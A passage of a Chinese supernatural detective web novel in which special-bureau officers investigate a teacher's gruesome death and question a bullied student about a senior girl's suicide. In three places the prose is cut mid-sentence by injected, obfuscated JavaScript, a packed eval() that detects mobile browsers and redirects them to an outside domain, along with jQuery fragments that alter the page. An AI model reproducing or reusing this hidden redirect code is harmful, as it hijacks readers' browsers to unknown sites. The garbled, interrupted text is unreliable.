万警官盯着严崇山的眼睛,一字一句地说:“她挖了自己的眼睛,硬生生地扯下自己的舌头,把它们分别握在两只手里,然后在办公桌上趴下来睡觉——严局长,你觉得这也是‘人力所为’吗?” 严崇山眯了眯眼,他摸出烟叼上,又给万警官递了一支(并遭到了拒绝),慢慢地叹了一口气:“唉,来活儿了。” 万警官带人去疏散学校里逗留的学生,给严崇山留了个带路的小警察,四个人掀开警戒线,一路沉默无话地走到了现场。 小警察任务完成,自觉地离开,将场地留给这个体系内不可或缺、又极其神秘的“特安局”。 陈老师的尸体还趴在桌子上,看背影就像睡着了,她的两只胳膊交叠着,手攥得很紧,指缝里有干涸的血迹。 罗梨打开工具箱,从里面摸出四个小东西。 那四个东西看起来像是印章,底部一寸见方,高约一掌,材质像玉石,顶端雕着四个模样各异的兽头,都仰首望天,兽口大张。 闻允越看越觉得其中两枚的兽头眼熟,忍不住问:“这是……” 罗梨想起什么:“哦,小允子你刚来,很多东西不知道,正好姐姐带带你。” 她掂了掂手中的东西,介绍道:“这是‘结界符’,顶上雕的是四大凶兽,饕餮、混沌、穷奇和梼杌,底部刻了符。把它摆在想要的位置,再配合口诀划定范围,就能把结界搭起来。特安局门口也有这个,喏,你能看见的那俩的是饕餮和混沌,还有两个在别墅后面,平时看不着。” 她分了两个结界符给闻允,在室内环顾一圈,指了指两个墙角:“嗯,你放那儿去吧。” 闻允的优等生本能在此刻觉醒了,他学习新知识的态度很是积极,一点头就行动起来,模样乖得不得了,一看就是老师最喜欢的好学生。 严崇山腹诽:对我怎么就没这么客气呢? 刚想完,闻允摆好结界符,一手指向了严崇山:“他为什么什么事也不干?” 罗梨摆好另外两个结界符,耸了耸肩:“他干不了,他连符都没法画。” 闻允:“那他凭什么当领导?” 严崇山瞪大眼睛一咂嘴:“你敢当面蛐蛐领导?” 闻允不卑不亢:“我是请教。” 严崇山冷笑一声:“我是画不了符,但我用处大着呢,你昨天不是体会过了?” 他指的体会,是说他们拉个小手就把小女鬼屏蔽了的事,两人彼此之间都心知肚明,因此没有特别的反应。 闻允心想:早上说我‘婴儿拿菜刀’,刚才说我‘吉祥物’,现在光站着不干活,他无能成这样,有什么可自傲的? 严崇山想:个小兔崽子,毛都没长齐就敢对领导指手画脚,性格怎么就这么差? 而旁听的罗梨却不知道昨夜发生了什么,她推己及人,认为以领导的猥琐程度,闻允体会的一定是什么桃色事件,她大吃一惊地想:他俩睡了?!混账领导,下手竟然这么快!我都还没吃上呢! 两人都没能从她异彩纷呈的脸色里,看出她的推测已经歪到了十万八千里外,只是相看两厌地对视一眼,以眼神表达了对彼此的不信服,一人将脸转向了一边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530293|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>罗梨对自己手慢无这件事十分痛心,她沉痛地将口诀给闻允说了一遍,又看闻允把那拗口的口诀记在了手机备忘录上,方才欣慰地点点头。 唉,孺子可教,比领导强多了。 随后,她闭上眼睛,口中振振有词地念了个诀,闻允觉得空气如水纹一样波动了一下,很快又平复。 闻允迟疑地问:“这就搭好了?” 罗梨轻快地点头:“好了,现在就算你在屋里分尸,外面的人也只会看见你在正常活动。唔,就是神情会有点僵硬,动作会有点重复。” 严崇山哼了一声,也不知道在冲谁,他从工具箱里拿出一瓶眼药水,对准两眼各滴一滴。 闻允偏头问罗梨:“牛眼泪吗?” 罗梨:“是啊是啊,他不借助外力是看不见那些东西的。嗯……虽然你是阴阳眼,不过没学会控制灵力之前,应该也看不到灵力的痕迹。” 说完,她推了闻允一把:“去,你也去滴两滴。” 闻允看着严崇山手里的眼药水,一时有点迟疑——刚把领导得罪过,现在就要从领导手里拿东西,真是怪尴尬的。 严崇山倒是没那么记仇,他不冷不热地朝闻允招手:“过来。” 闻允磨蹭过去,准备从严崇山手里接过牛眼泪,严崇山将手一抬,避开了他的动作:“我来,你抬脸,眼睛睁开。” 滴眼药水的时候,若是一直盯着瓶口的水滴,眼睛就容易因为躲避的本能而闭上。闻允睁着两只眼,没处可看,只好去看严崇山凑近的脸。 严崇山的眉眼很浓墨重彩,专注做一件事的时候尤其好看,显出一种令人心动的深情。 闻允看得刚有点走神,一滴牛眼泪就砸进他的左眼。 ……操,这东西进眼好痛。 闻允被刺激得把眼闭上,严崇山一秒缓冲时间也不给他留,又撑开他的右眼睑,往里补上一滴牛眼泪。 还以为是领导好心,结果纯打击报复! 闻允推开严崇山,频繁地眨了几下眼,尽量让视物模糊的双眼恢复,严崇山幸灾乐祸地看着他,一直到闻允适应好了,他才摸出一张符纸。 今天计遇不在,他们只能凑合用这个。 严崇山掏出打火机,在办公室中央点燃黄符,灰烬伴着烟雾落下来,闻允屏气凝神,仔仔细细地看着周围,等着所谓“灵痕”的显现。 然而无事发生。 闻允还以为是牛眼泪不好用,刚想揉眼睛,就被严崇山眼疾手快地捉住手腕,提醒了一句:“别揉,本来就刺激,揉完眼睛容易发炎。” “可是……”闻允皱着眉,“我什么也……” “不是你没看到。”严崇山打断他,“是现场什么也没有。” 和张景程的命案现场一样,办公室里没有任何鬼魂留下的灵痕。 严崇山长久地盯着那具趴伏着的尸体,他对罗梨说:“昨晚你和计遇都在学校里,你还释放了能力,这鬼魂竟然能抵抗住不被你吸引,来这里作案,甚至在‘寻踪’的眼皮底下杀了人,但没让任何人发现……他妈的,它到底什么来头?” 罗梨的表情也不轻松,她跟着皱起眉,三个人都是一副苦思冥想的表情。过了片刻,罗梨突然开口:“不对啊头儿。 这里没有凶手留下的灵力痕迹就算了,死者死后总会成为鬼魂吧,为什么这里连死者的‘灵痕’都没有?” 8. 安全屋 严崇山捏了捏眉心,他满头乱绪,没法解答罗梨,只好像目击现场的女老师一样,钻到桌子底下去。 陈老师还维持着那副表情,如果眼珠子好好地在她的眼窝里呆着,她的表情应该是恐惧的。但没了眼珠,空洞的眼窝会让人产生一种错觉,就像她时时刻刻都在“盯”着和她对视的人。 地上积着一小滩血液,上面有女老师慌乱中留下的鞋印,严崇山又踩了上去。他没戴手套,不好贸然触摸,只静静地想:张老师被保留了眼睛,而你却没了眼睛,为什么呢? 凶手这样做是出于什么目的?是出于某种仪式感吗? 他看了几秒,钻了出来,转瞬安排好了工作:“罗梨,你让外勤处的兄弟们来收尸,顺便排查一下张景程和陈老师的人际关系,再找李芸芸的朋友问个话。” 罗梨微微惊讶:“咱们不接着找李芸芸了?” 严崇山从鼻腔里呼出一口气:“我们现在的调查方向可能不对,会和李芸芸死磕是因为那小胖子说见过她的鬼魂,实际上我们不能百分之百确定小胖子真见过,也不能确保他见到的就是李芸芸。” 他顿了顿,接着说:“这条路走不通,就先按动机来查,看看有没有人和这两个老师结过仇——但是李芸芸那条线也不能放。这样,我和小允先去找小胖子问点话,再想办法弄点李芸芸的执念物品,咱们分头行动吧。” 闻允对于严崇山的分配并不很满意,他更想和罗梨一块儿行动,而不是这个现在横看竖看都不顺眼的领导。 于是他张口说:“我想……” 严崇山截口打断:“你对查案流程不熟悉,跟着我行动能更快上手。” 闻允语塞两秒,又说:“但是郭……” 严崇山立刻回答:“郭敦很可疑,如果李芸芸的鬼魂真的不在学校里,他有可能是故意误导我们的调查方向,找他再次确认情况是很有必要的。” 闻允:“要不……” 严崇山不容抗拒地撂下两个字:“出发。” 闻允:“……” 这是完全的霸权主义! 严崇山找汪主任要了个郭敦家的地址,提前和小胖子的家长打过招呼,拎着不情不愿的闻允登门拜访。 郭敦家境似乎不大好,住得挺偏,一家三口蜗居在筒子楼里。这个片区都是这样的楼,外形陈旧,笋似的长成一片,挤挤挨挨的,胳膊伸出窗外就能和邻居握手。 狭窄的楼距极其影响采光,闻允刚踏进楼里就微微起了一层鸡皮疙瘩——气温比外面低了起码有三四度。 “六楼,”严崇山对照着手机屏幕上的地址,朝闻允微微一笑:“爬吧。” 如严崇山所料,闻允这种只知道学习不知道锻炼的高材生体力奇差,刚到三楼就开始喘气,爬到六楼门口更是气喘吁吁。 闻允扶着墙,望着面不改色的严崇山,不可置信道:“你不累?” 严崇山笑出一嘴齐整的白牙:“我健身,一周三练,有氧四十五分钟后加一个半小时的力量训练,腹肌有八块。” 闻允:“……” 谁问你了?? 两人按响门铃,出来开门的是个四十多岁、一脸苦相的女人。 郭敦的父亲在厂里上班,早出晚归,这会儿不在家里,而他母亲的右腿有残疾,不便找工作,每天在家做点针线活挣外快,因此能迎接二人。 室内小而窄,光线也不足,大白天的也十分昏暗。沙发是老旧的绿色,它和电视间夹着一个矮茶几,地砖已经开裂了,墙壁氧化出陈年的黄渍。 可能是因为不舍得,女主人没开灯,想必这样昏暗的工作环境伤了她的眼睛,她使劲眯着双眼,把两手在衣服下摆上擦了擦,才懦懦地问:“是……警察吗?” 严崇山人模狗样地笑了笑:“是,我就是刚才和您联系的警察,我姓严,这是我同事闻允,方便让我们进去吗?” “是、是,方便的……”郭母侧了侧身,让出本来就狭窄的玄关,表情有点局促,“里面坐,我去给你们倒杯水。” “不用了。”闻允客气地留住她,“我们就是来找郭同学问点话,问完就走,不麻烦了。” 郭母的文化水平不高,“问话”两字进了她的耳朵,自动变成了“审讯”。她本就不安的表情更加紧张,手脚都不知道往哪儿放,呆呆地站在原地,好像在等候两位警官的指挥。 ……从她的紧张程度而言,她到底能不能分清“目击证人”和“嫌疑人”,恐怕有待商榷。 闻允只好说:“您坐就好了,不用管我们。嗯……郭同学在房间里吗?” “在,在的。”郭母如梦初醒,拿粗糙的手指了指一个关着的房间门,“这个是他的房间……小敦!警察来找你问话。” 屋子的隔音效果奇差无比,二人听见“嘎吱”的声响,似乎是有人从房间里的椅子上起身,随后是啪嗒啪嗒的拖鞋走路声,最后“滋扭”一声,紧闭的木门敞开了。 郭敦手里握着一支笔,闷闷地和他们打招呼:“严警官,闻警官。” ……这屋子的隔音确实没得说,严崇山站门口的介绍竟然能被房间里的郭敦听得一清二楚。 即便如此,郭敦还是不想让命案牵扯母亲脆弱的神经,邀请二人进了隔音效果聊胜于无的房间。 郭敦的房间和大多数青春期男生的房间差不多,墙上贴着陈旧的篮球明星海报,门后挂着校服,房间里除了床和书桌基本没多余的东西。 他重新坐回书桌前,眼睛盯着敞开的物理练习册,却心不在焉,一个字也没写。 严崇山的手相当贱,走到哪儿摸到哪儿,在闻允家里的时候就查看闻允的照片,进了郭敦房间又翻郭敦桌上堆着的练习册,边翻边问:“你和跳楼的那个李芸芸熟吗?” 郭敦僵硬地“啊?”了一声:“李芸芸是谁?” 像是连这人的名字都不知道。 闻允打量着郭敦,微微眯了眯眼——那是他发现什么时下意识的反应。 郭敦的状态非常紧张,眼神既没落在练习册上,也不和严崇山对视,而是紧紧地看着严崇山翻的那堆练习册,好像里面埋着个不能见人的炸弹。 闻允还没来得及提醒严崇山,就见他自然而然地抽出其中一个本子,随意地翻了几页。 下一秒,严崇山惊讶地“哟”了一声,把摊开的本子往桌上轻轻一扔,拿食指在页面上点了点,一字一顿地重复:“‘李芸芸是谁?’” 那纸页上胡乱地、大大小小地写满了名字。 每个名字都是“李芸芸”。 严崇山不咸不淡地说:“看来你们真是很不熟啊。” 郭敦捏紧了手中的笔,指节都开始泛白,好像在和一股看不见的力量僵持。 他不答话,也不和严崇山解释,呼吸深重得要命,如一头负伤的野兽。 闻允突然问道:“你喜欢她?” 郭敦的脸都涨红了,他极力辩解:“我、我对学姐不是那种感情,我怎么敢,怎么敢喜欢她呢……” 闻允:“‘不敢喜欢’和‘喜欢’是一个意思。” 郭敦下意识地否认:“不是的,不是,我只是很仰慕她……” 严崇山适时追击:“你这么仰慕她、关注她,却完全不知道她的自杀到底有没有内情吗?” 郭敦垂下眼睛,摇了摇头。 严崇山问:“那你知道什么?” 郭敦陷入沉默,他的眉毛纠结地皱了起来,肉眼可见地犹豫。 闻允一针见血地说:“你把她死亡的时间记得这么清楚,可见有多耿耿于怀。你不知道她为什么跳下去,但你难道不想知道吗?还是说,在你心里,你那说不出来的喜欢比真相还要重要?” ——那你的喜欢可就真够不值钱了。 严崇山纳罕地看了闻允一眼,他知道闻允性格不像他表现出来得那么好,但也没想到会这么尖锐。 郭敦似乎被这话刺痛了,他憋了又憋,吐出一口如鲠在喉的气,低声地说:“学姐……学姐是唯一一个让我觉得很安全的人。” 这是一个简单得不能再简单的故事。 上个学期,为了节省在路上花费的时间,郭敦从走读转为住宿。 他们学校的空宿舍不多,郭敦被安排进了张兴凯和李祺的宿舍,很自然地被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530294|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个小混混给盯上了。 他们霸凌他根本不需要什么理由,因为他胖,因为他穷,因为他不起眼、窝囊,于是就要他洗衣服、打扫卫生,上交本就不多的生活费,迁就两个室友所有恶劣的生活习惯。 如果不听,就是拳脚相加。 他和家里诉苦过,可父母的文化水平都不高,他们没什么主见,听说儿子被欺负,只会不安地问,“是不是你得罪他们了?”“和他们好好说行不行?” 他在班级里没有能说得上的朋友,在宿舍没有可以好好生活的环境,在家里没有能够支撑他的父母。世界这么大,却连容身的一隅都没有留给他。 好在学校里还有音乐社团。 社团是个纯学生组织,乔老师是音乐社挂名的指导老师,并不太干涉学生之间的活动。大多数时候,社团里只有因为音乐爱好而聚集在一起的学生。 社长会教他弹吉他,其他社员或是研究架子鼓、或是学习记谱,总之没有人会为难他,所有人都很友善。 包括那个学姐。 那个叫李芸芸的学姐,人长得漂亮,成绩也好,还会弹钢琴——每当她弹琴,社团里的人会停下手里的事情专注地倾听,学姐坐在阳光里,给所有人带来一种心灵上的平静与祥和。 ……她像天使一样美好。 后来有一天,音乐社被取消了。 郭敦从天堂掉入地狱,他作为一个被霸凌也无处申冤的人,一个活得虽然痛苦、却也不至于寻死觅活的人,失去了最后的容身之地。 有一天,他实在无处可去,只好在校园内到处乱晃。 等他回过神来,发现自己已经走到了社团活动室的门口。 办公楼的那一层没什么老师,连办公室都是空置的,于是他干脆靠着活动室的门坐在了走廊里,将作业摊在膝盖上写。 天色越来越暗,飞鸟掠过粉霞,即将到晚自习时间的时候,活动室的门突然打开,郭敦没防备地摔了进去。 那个天使一般的学姐站在活动室里,吃惊地看着他。 他不知道学姐为什么还能进入活动室,也不知道被清空的活动室有什么值得进的,更不知道怎么和学姐解释。 好在李芸芸也不需要他解释,她只是问:“你要用这间活动室吗?” 郭敦呆呆地点头。 李芸芸说:“好,那你进去吧,用完记得锁门。” 说完,她转头离开了。 却给郭敦留下了一个能够喘息的地方。 此后,郭敦每一天都来。 他和李芸芸从来不交流,也不约定见面。 他来了就在活动室的门口坐下写作业,而李芸芸准备离开时,会从里面敲两下门,郭敦就自觉地站起来,而后李芸芸开门、他进门,彼此一句话也不说。 郭敦觉得这样很好,令人安心。 他想,他们在共享同一种孤独。他靠着门板时,或许李芸芸也在活动室里靠着门板,他们隔着门板背靠背,彼此沉默,却互相支撑。 一种隐秘的情愫在傍晚时分发酵,郭敦的心弦被什么东西拨动,或许是飞鸟的振翅,或许是迎面的凉风,或许是和李芸芸擦肩而过时嗅到的香气。 这样的日子持续了两个月,郭敦终于有点忧愁了,因为高三即将参加高考,学姐考完试就会离开学校,他也许再也没法拥有这样的时光。 但有一天李芸芸离开时,突然叫住了他。 她把钥匙递给他,轻轻地说:“我要走了,钥匙就送给你吧。” 郭敦以为“走”是毕业的意思,直到李芸芸站在天台上,纵身一跃,激起一圈惊叫的涟漪。 他记得太清楚了,那天是六月二号,儿童节的后一天,距离高考不到一周。 他知道李芸芸的成绩很好,那么……为什么呢? 为什么她要跳下去? 那个漂亮的姑娘、总是在音乐社安静弹琴的姑娘、不曾给过他冷眼和嘲笑的姑娘、与他萍水相逢的姑娘,竟然就这样死了。 死前,她还记着这个每日见面的学弟,为他留下了最后一件礼物。 她给他送了一间安全屋。 9. 新线索 实话说,这是个挺动人的故事,但严崇山听完,只是煞风景地想:合着这小子是有贼心没贼胆、光意淫不追求啊?他娘的,太怂了,如果我喜欢一个人,绝对不会这样。 闻允的表情也没什么变化,他在心里想:然后呢?就没了?这也没线索啊。 这两人虽然不对付,但都出乎意料地不解风情,一个赛一个地不吃煽情这一套。 严崇山点了点头,拿眼神扫过那触目惊心的一大片“李芸芸”,问:“所以你这是?” 郭敦一口气把知道的东西都说出来了,现在也清楚癞蛤蟆想吃天鹅肉并不犯法,于是破罐子破摔地说:“我想不明白她为什么要自杀,所以想起来的时候,就会写一些学姐的名字。” 严崇山:“那你想得还挺频繁。” 郭敦:“……” 闻允比严崇山正常些,他问:“那天夜里你去活动室,说看到了一个鬼魂,具体是在哪里看见的,大概什么样子?” 郭敦回忆了一会儿,比划着说:“在那一层的走廊尽头,看动作像是急匆匆地离开……我们是从左边楼梯上去的,那个影子是从右边楼梯消失的。样子……就……女生?穿着一身白衣服,一晃眼就不见了。” 闻允追问:“大概多高,或者有没有其他明显特征,你能记起来吗?” 郭敦:“我真的没看清,就那一眼……” 闻允若有所思,室内一时沉默。 郭敦舔了舔嘴唇,鼓起勇气,问:“严警官,您觉得学姐是杀人凶手吗?” 严崇山跟触发被动了似的,不过脑子地说:“封建迷信不可取,我们要坚持唯物主义……” 郭敦苦笑一声:“严警官,我能看到鬼,你那套说辞我不信的。” 严崇山只好消了音。 郭敦又问:“如果……如果学姐真的是杀人凶手,你们会把她怎么样吗?” 严崇山问:“杀人是要有动机的,李芸芸有什么动机杀张景程呢?” 郭敦深吸一口气:“……那天学姐走的时候,突然问了我一个问题,还、还要我保守秘密。” 郭敦:“她问,‘如果你喜欢上一个不该喜欢的人,要怎么办呢?’……我想,这和我的情况不是一模一样吗?我就告诉她,我应该会放弃吧。” 严崇山:“她什么反应?” 郭敦表情苦涩:“她说‘我想也是’。所以我……我在猜,她喜欢的会不会是……张老师呢?有一次她在走廊站着往下看,我好奇她在看什么,就凑上去,发现楼下是路过的张老师。” 严崇山不动声色:“嗯,可能吧。” 郭敦有点着急:“所以你们会把她怎么样?” 严崇山耐心地解释:“小子,我们再神通广大也不是阎王爷啊,再怎么说我们也是正儿八经的公职人员,查案只对活人负责。如果调查出有东西在作祟,那把作祟的东西解决掉,我们的任务就完成了,这你能明白吗?” 郭敦茫然地重复:“解决……怎么解决呢?学姐都已经死了……” 这件事说来很复杂,能在人间作祟的鬼魂通常怨念很重,处理起来相当棘手。对于严崇山他们来说,最好的办法是超度——送下去让阎王爷来判是非对错。 但如果超度不了,他们也就只好用下策,打怨魂一个灰飞烟灭了。 奇异的,严崇山没告诉他,反而摸了摸他的脑袋,态度温和:“不会怎么样的,你好好学习吧,别让这些事影响你。” 随后,二人出了门,再度谢绝郭母的倒水服务,告别了仍然战战兢兢的郭母,离开了郭敦的家。 下楼要比上楼轻松,闻允嫌扶手太脏,于是将两臂抱在胸前,陡然问:“你说谎了吧?” 严崇山面不改色,他单手揣兜,问:“哪一句?” 闻允:“你说‘不会怎么样’。如果作案的是鬼魂就不会得到任何惩罚,那特安局就没有存在的必要了。” 严崇山啧了一声,有点嫌弃地说:“我就烦你们这种聪明人,听一句能猜三句。” 猜得还都挺准! 闻允追问:“如果凶手真的是李芸芸,你会怎么处理她?对于鬼魂的惩罚,除了‘永世不得超生’、‘魂飞魄散’之外,我实在想不到别的。” 魂飞魄散? 这个词像火石碰撞出的一颗火星,飞快地从严崇山的脑海中掠过,点燃了一个猜测。 两个死者都没有留下任何的灵力痕迹,除了被外力抹除灵痕这种可能性外,还有可能是魂飞魄散了。 但让鬼魂魂飞魄散,需要很强的能量,操作的时候也会产生强大的冲击波。或许罗梨感觉不到,可计遇这个“寻踪”当时就在学校里,一定能察觉到什么的。 为什么会察觉不到呢? 究竟是不是魂飞魄散? 严崇山满腹疑虑、心不在焉,难得保持长时间的沉默,一句损人的话都不再说,把车又开回了特安局里。 两人回到一层客厅时,正好听见罗梨用甜腻的声音在打电话。 她拿着手机,面对看不见的通话对象也露着笑,手指缠在打卷的发尾上,一边转一边说:“嗯嗯,是这样呀?好呀好呀,姐姐知道了,谢谢你。哎哟,我没打扰你吧?是嘛~那太好了,嗯嗯,祝你今天生活愉快哦,有机会姐姐请你吃饭,拜拜~” 电话一挂,她又高又甜的语调就落了下来,只见此女仰天大笑,朝二人雄浑道:“让我查消息,手到擒来啊手到擒来!” 张老师和陈老师的人际关系由外勤处其他成员排查,罗梨是个姑娘,而且是个声音甜美的姑娘,很容易骗取小姑娘们的信任,于是由她负责打入李芸芸的朋友圈内部。 她刚才电话联系的正是李芸芸的几个室友,小姑娘们被她哄得晕头转向,三言两语就把知道的东西一股脑地交代了。 她们说李芸芸是典型的品学兼优的好学生,长得漂亮还多才多艺,在学校很受欢迎,追求者不断。 闻允问:“那谈了吗?” 罗梨摇头:“没有呢。人小姑娘可自觉了,嫌早恋影响学习,一直都没谈,连绯闻八卦都没有。哎呀!现在内娱的这些小鲜肉,要是能有人家一半的自觉,至于塌房吗?” 严崇山顺口说:“你上次约会的那个不就是个三线小鲜肉吗?还在这既要又要起来了,人要是不恋爱怎么跟你睡?” 罗梨气鼓鼓地拍打沙发:“我们只是睡了又不是谈了!那是两回事好不好?再说他活儿也不好,我已经把他拉黑了,不会再回购。” 闻允无奈地提醒:“……梨子姐,可不可以先说正事……” 罗梨回过神来:“哦哦,好的。她们说啊,高三下学期李芸芸突然不对劲了,整个人显得非常失魂落魄,话也少了,和她们宿舍夜谈的时候还频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530295|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频走神。” “有时候还会莫名其妙地哭呢,估计那会儿抑郁症已经很严重了吧,真可惜,那么好的一个小姑娘。” 严崇山:“具体哪天开始的还能记得吗?” 罗梨:“我也问了,不过时间过去挺久了,她们也记不住具体日期,就是说在一场物理比赛之后吧。” “那比赛据说挺重要的,如果拿到好名次,甚至可以直接保送到连大。但是那场比赛李芸芸发挥失常,名次不怎么样,所以错失了保送机会。” 闻允问:“所以她是因为比赛成绩不好才郁郁寡欢的?” 罗梨:“反正她室友们是这样认为的,觉得小姑娘是被滑铁卢给打击了,怕触及她的伤心事,也都没怎么追问。” “不可能吧,”严崇山摸出一根烟,叼进嘴里说,“以她的成绩不至于难受成那样啊,不是说成绩优异么,难道以她的实力考不上连大?” 连大毕业生闻允很自然地点点头:“有点悬。” 严崇山:“……” 该死的学霸! 严崇山将对学霸的痛恨转化为工作任务,他弹了弹烟灰,点兵点将到闻允身上,说:“反正外勤处那里还没消息,我们现在还是以李芸芸这条线为主,你一会儿跟我再去一趟李芸芸家里。” 闻允不满道:“我不是刚和你回来吗?你自己不能去?” 严崇山振振有词:“你今天是上岗第一天,工作态度能不能积极一点?如果处里每个人都像你一样推三阻四、偷懒耍滑,那案子还查不查了?” 他说得理直气壮,宛如自己是付出最多的人。 闻允冷笑一声,无情地拆穿了他:“他们说你画不了符,也用不了能力,所以每次出勤都在旁边指手画脚,根本不干什么活儿,实事都是他们干的。” 他没有把话说完,但严崇山听出了言下之意:推三阻四、偷懒耍滑的另有其人。 严崇山大怒:“‘他们’是谁?!” 闻允游刃有余地回答:“你自己想。” 用脚趾头想也知道,从陈述到煽风点火再到添油加醋,全由李煦一手包办,而罗梨一定会在边上大力赞同,特安局的和谐稳定都靠贬低领导的人格来维护。 严崇山忍辱负重,毕竟他还得依靠他的好下属们,于是他把烟掐灭,试图动之以情、晓之以理、惑之以利。 他对闻允道:“小同志,这就是你工作的动力啊!你想想,等你当上了局长,这样的好日子就轮到你了,不心动吗?” 闻允:“不。” 顿了一顿,闻允又问。 “但是你这么……”他微妙地停了一下,把“无能”改得更好听了一点,“……稳健,是怎么当上局长的?” 他加入特安局后,发现局里年龄最大的就是严崇山,心里隐约有一个猜测。 恐怕不是因为严崇山实力强劲,所以年纪轻轻就能成为局长,而是论资排辈下来,严崇山竟然就是资历最老的那个了,所以只好矮子里面拔高个儿,让他当局长。 但这是怎么回事,特安局难道和互联网大厂风俗一样吗?一过三十五岁就开除? 严崇山果然没正面回答他,他诡异地沉默了一下。 这沉默并非出于不好意思或者羞于启齿,似乎更像对某件事情的回避。 他深吸一口气,简短地说:“下次再告诉你,走了。” 10. 扑空 宾利越野缓慢地开过,尾风连片落叶都扫不起。街边行人从没见过外形如此招摇、车速却如此保守的豪车,纷纷投去视线,目送着流线型的车身一头扎进小区地下停车场,尾灯隐没在黑暗里。 这车捡了个空车位大剌剌地停下,车门一开,闻允从副驾驶的座位上下了车,忍不住问:“你出过车祸是么?” “怎么可能?”严崇山把车门砰一声关上,手掌在车顶上拍了拍,“我绝不可能拿我七位数的爱车冒险好吗?” ——七位数,这个单位到底靠什么来支撑严崇山开这种车? 闻允吐出一口气:“我以为是车祸给你留下过ptsd,领导,您的爱车去参加车兔赛跑,兔应该能取胜。” “年轻人安全意识就是差劲,”严崇山不满地教育他,“道路千万条安全第一条,等真出事了就来不及了!又不赶着投胎,开那么快干嘛?” 两人拌着嘴往电梯厅走——严崇山管汪主任要了李芸芸家里的地址,他们来找李芸芸的家人了解点情况,顺便看看有什么附着“执念”的物品能物尽其用。 这个小区地段不错,房子也挺新,电梯里还点了香薰。闻允按下楼层按键,想起自己待字闺中、估计这辈子也不可能租出去的公寓,问严崇山:“这小区至少要三万一平吧?” 严崇山一耸肩:“不知道,我只知道哪些楼盘十二万一平。” 闻允听得牙痒,碍于上班第一天就揍领导很可能丢工作,他趁电梯门开,一马当先地走了出去,对严崇山实施了一个眼不见为净的政策。 他对照着提示找到了门牌号,但按了两轮门铃,屋子里都没人出来。 随着一声“咔哒”的轻响,对面的门反而开了,一个怀里抱着婴儿的女人探头探脑地看了他们一眼,好奇地问:“你们找谁啊?对面已经搬走了。” 闻允不由得和严崇山对视了一眼。 他们来之前就给李芸芸的父亲打过电话,但是没人接听,他们还以为是对方工作太忙了,想着来碰碰运气,说不定李芸芸的母亲会在家里——结果竟然人去楼空。 闻允先朝女人笑了笑,对她的提醒表示感谢,随后问:“他们是什么时候搬走的?” 那女人摇了摇头,同情地说:“唉,哪有什么‘他们’啊,我对门儿那个李先生没老婆,就一个女儿跟他相依为命,后来……” 似乎是觉得晦气,女人忌惮地看了一眼四周,压低声音:“后来那姑娘不是跳了吗?李先生就剩自己一个人啦!估计他觉得住在这儿睹物思人容易难受吧,丧事办完没多久就走了。” 严崇山点点头,朝她简短道:“我们是警察,来查案的,您有李先生的新地址么?” 婴儿在襁褓中发出几句含糊的呓语,女人听见“警察”俩字,拍着怀里的孩子,生怕惹上事儿似的,连忙说:“我和李先生不熟的,要么你们问问别人吧。” 说完,她缩回自己的家里,将门又关上了。 严崇山感慨道:“唉,人民公仆怎么会沦落到这个地步?” 闻允慢悠悠地说:“我小时候我妈就这么威胁我的,‘不吃药警察叔叔会把你抓走’,你们人民公仆在广大群众心里最大的作用,估计是止小儿夜啼吧。” 严崇山有点意外,他以为对闻允这种边界感比较强的人来说,“童年的事”和“家里的事”都属于“个人隐私”,不会主动对他说,没想到闻允突然提起这一茬儿。 他顺着闻允的话,脑补出一个不吃药的、眼里含着两泡泪的小孩儿,硬是把自己逗笑了。 闻允莫名其妙地想:这人笑什么呢,没听出来我在损他吗? 严崇山笑够了,才问他:“嗯,你刚给李建安打电话,提示是‘暂无人接通’还是‘正在忙’啊?” ——李建安是联络簿上李芸芸父亲的名字。 闻允:“无人接通,他应该不是刻意挂我们电话,就是没接到。” 严崇山故态复萌,他自己屁事不干,往地上大蘑菇似的一蹲,开始发号施令:“那你再打几个看看,万一接了呢。” 闻允拿他没招,只好杵在别人家门口打电话,陆陆续续拨了三四个,电话终于接通了。 闻允立刻说:“李先生您好,我们是公安部门的,想向您了解一下……” 话还没说完,通话立刻被挂断,嘟嘟的忙音从听筒里传了出来。 闻允:“……我说了什么吗?” 严崇山贱嗖嗖地回他:“你们人民公仆的作用只有止小儿夜啼啦~” 闻允忍不住踹了他一脚,严崇山哈哈大笑着站起来。 严崇山:“来,电话给我,我打几个试试。” 在闻允不信任的注视下,严崇山信心满满地录入了李建安的手机号,点击拨通——他比闻允还惨,通话直接跳过了“对方正忙”的提示,进入了“转接语音信箱”的环节。 李建安可能直接拦截了所有陌生号码。 